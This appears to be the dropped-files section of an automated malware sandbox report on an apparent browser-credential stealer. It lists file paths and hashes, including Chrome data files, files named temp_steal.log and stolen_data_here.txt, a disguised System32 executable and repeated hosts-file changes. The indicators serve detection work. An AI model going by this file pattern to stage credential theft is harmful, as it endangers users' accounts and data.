- MD5 21ef8bd3f4f7fe2cdc0361aadf9263af
- SHA1 08a908c5d5c28cd44ee01ac433a3a2074dd9c76e
- SHA512 18579732664fdd384a07f44d72712c3e76b03629dab97da59f099628afce857f22c9fe1bae88939029a1ce53bafb8dd0a57b1c4ddf6a13c9657d12a4b53a7188
- TLSH T1E3B01210C0815101C08602B4214E148CF2149F14AA0A270153F06A23DC35161C014050
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58a488.TMP
- Size 96B
- SHA256 fe514ffe3baeecaea01cef810dce22ef3064e4b393dbe056b78921dfcf3644fa
- MD5 74637627fe735aa99da7632daf9ee5c4
- SHA1 e18b1773dd53a0feccd96ebea04761256f57bc13
- SHA512 82c72bb68d08c29f5a522405ec582f1f470d8606d3399522aeb0de892c62bb3da618d7b5e1e05bbb3dc9ed3f5b42a530d5bc7230cbb452f1a04ef646b7b9d247
- TLSH T1ADB02200C0022302C08A03B0288080EC3020CF22C203022282F02A2AFCA0B300820220
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 6d4b168ac7b105bf57e20423b2f78fb9ac5a4a51c814b4333cc94cccac700965
- MD5 459339ce6ac20af2038f0841364882d1
- SHA1 48550a30237881bca60cda921b24f4c6c1ad9010
- SHA512 a9c7183ed43a9bb2c0b6f355db383bfb06f1bd77a8ed4876f26e1b32c579f796e89fe375a159c3dcf7c2e1f6e363405bd7536dfc7715c456753a625ca35a58f6
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OCpX6lqwRVumkwk4OQ1:jeuvBnhJsueMEGvIW1DcP2OK0RVumknW
- TLSH T117D3A84B3A747102EDE59A725CE051BB5E3CB16D4F55A1D428B620688EF2823B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 385f85c4ef1c93a0ac1a7a207f4c63c9db011ac9e0bbb18b0962135787a146fb
- MD5 7336d9cb9ce025441e22b014bc17f079
- SHA1 9092a76df11b29386c5b8a45dda1be69250cac12
- SHA512 299df7c5fb2e97fc3693a1caa9d853debca06cafdefe1e9ab4f4e58f31f9de0df47d3060c4e288846f38ccc3def58e58ae1b3fccaeb9a165750f4dd1ddba2dfb
- SSDEEP 1536:6UyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbji:/qfd7NtZL8cHQRZEQ6Sps9
- TLSH T1E6C30237EBC21F335D92CB64BA534FD697B644A99030D301AABD3BFB6C93451644249C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 238KB
- SHA256 66f5ee79cc0e171d0c71814ec01baa3fd967ebb3831c614b59ecd16c062546ca
- MD5 911036b6835a257b1d5bad70af0ee091
- SHA1 adc119e6164dd35501da486fd758daa6e36e21a4
- SHA512 14fbb77a610db45cfe8f21982307da0c94e0c56d7442384edd99f3a8a01d66a23e387fa39be51a01dd03fd18dd4686b55f4dd9b95e3ff4e61e625aeb335c8f74
- SSDEEP 6144:3tweEP3usBYs5Y/575QiRdH1qZ/ZLW3ExR:3meee4C/rj5qZ/piQR
- TLSH T1163423312F920F33A953EF7438271F466FB744CFA074510EDAB05FE364868A9A6065AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 237KB
- SHA256 00205b9b490a82d0d9dd03afaa4350e8cdfac95e4ee2819beeae162b697a40f1
- MD5 96ad4e94a5c75b6e1120993831cac3af
- SHA1 210c71f5c275e942d4ffc45d563cd4e7ab58c641
- SHA512 fb5fe2beec87e784cd10d67227e8f94a8acc06869dc14672991185bf25370998413b4bca1bda02362bf09181026038c402340fd9771c88d52653006ce6695eed
- SSDEEP 6144:3QeEP3usBYs5Y/575QiRdH1qZ/ZLW3ExR:3Qeee4C/rj5qZ/piQR
- TLSH T15E3423312F960F33A992EB3434375F566BB7048E60B4510A9BB44FE36486CADA3165AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 a7588b6ac5d3d2651334632ef197c46ffe0fe6c9e7e2cebed872f19286b07cc9
- MD5 51cb0958e89ed01095c79a83cb713c3a
- SHA1 2beba64349d594c11a86f49d36231a5dd1f5fc04
- SHA512 7534b7816f85001bb80b31380f311497d903fbe188b52f0f9cf3153826aef607559e01f530a4df00b7e5962d5d8f719d99473045641556d1f575d71f43037ad0
- SSDEEP 1536:HQhTyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbb:whdqfd7NtZL8cHQRZEQ6SpsY
- TLSH T11BC30237ABC21E335ED2CB70BA134FD797B544A99034D301ABBD2BFB6883455658246C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sutbongtva.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1vbg4b2c.xyy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 245B
- SHA256 86d7ed4f54697bce5dad233e372df50f4b44e4b10a8f8343b547b9b7ec297daf
- MD5 9235afff4619709b3340eb1ad6e66293
- SHA1 32ad8a96ff6248ca508f490783927ee2bd432144
- SHA512 8b46d8a905003280971a4412647445f985ed097c1ff36b0cab7f4656b63ff8b5f66a487f25b97a03e19e26471a09d38f84d7c0b2b078f35fed8bb7afa2da5371
- TLSH T15FD0A78BB249C6A90005127B81F3CD8DEAF548683B13BE705AA5DD4E36918858AF6693
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 246B
- SHA256 51644d77296d6e3b542b6d42e06c038236df1db5020452b107b2f771e89fcd3b
- MD5 1e75841d05ba623c1c974754fd4306c4
- SHA1 e8c7b5cb7c8cf6efca7f00d132b6c7cf8a56ea5e
- SHA512 c309823466974e32b9afecd634e66d9a3b3d9fe01ff14ef1446e91ab0bb2acb1260f50b806e287a8b545e6ee3cb407b37016f0bf7bcffc97cb2d93cfda2ec4ad
- TLSH T128D0A5CB7149C5A90005117F40F3CD8DE6E144683F136D705555DD4E364144545F6553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 122KB
- SHA256 06509c34b5ae6dfab748159b4cfbad399c1bfaa6b04dd26f504bb685f1bd8758
- MD5 4bf551831d17341eb62e59c7ad9dcd60
- SHA1 daa0798514d22fc54f6767a264dfd0a476bba322
- SHA512 15f6e5aeecb9806ec44c8fb2a7931408d387fa6e246cd2d1be69258d726354ebf24976fc0b690383dceffdc6162bb74845576f5607bcc255a58e540c92156f4e
- SSDEEP 3072:G7a2Tok2Tok2Tok2Tok2Tok2Tok2Tokzf1ixCNnnnn7NT33Mrxaw:j2Tok2Tok2Tok2Tok2Tok2Tok2TokD1m
- TLSH T187C30110C6B69F2A04925AEF5C5736D0A43CF7F092EDC5FB34A2AE63F062CE2D248555
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 122KB
- SHA256 e4a11cd038ba659ea8e61238e039b6155f267d1a831b0e9a5fbff7ade572e906
- MD5 23cb62f5e3fe2f7214d0022fd38bec73
- SHA1 9a83a2ce9be1b4494d0c7bbf21462aebf06c616f
- SHA512 d0272b5aedcfd35a991f55d96dcfc2d9d433b6c8ad495c24d096508ae205d9420dda9d9b25db55c1c53969d3dbab90107510304d343ac8200fd07fa8ba789583
- SSDEEP 3072:i7a2Tok2Tok2Tok2Tok2Tok2Tok2Tokzf1ixCNnnnn7NT33MrxaQ:P2Tok2Tok2Tok2Tok2Tok2Tok2TokD1K
- TLSH T1E9C30110C6B69F2A04925AEF5C5736D0A03CF7F092EDD5FB34A2AE63F062CE2D248555
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 84f88c5ff8b7813bce377f350c6c8375854e55c6e13e769bdbabc80b9d5938b2
- MD5 8207756f06e6b67a351ec538eaf395b6
- SHA1 c8ed398c6e9b8ccd775b4de4cd7672565f3fbc8c
- SHA512 c9430dbdae2a2badf824a81d8377ba0d4404cf20ebfda535930eeece2d8cdfaa7cde468fbc850b07de86c93ecd4997d000d457bab85849258587192e8ed74261
- SSDEEP 768:ehFflWVjv2UD5FHQyKSHw6wqth4A//w4wC1XXGblfA02KFcn:uFgvVLHUKlwDAQ4wEXGblf92ucn
- TLSH T14223F75437F98511E1FF8EBA4DB196019B30B4A79C22D78E06D5058E1AB3B40CEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH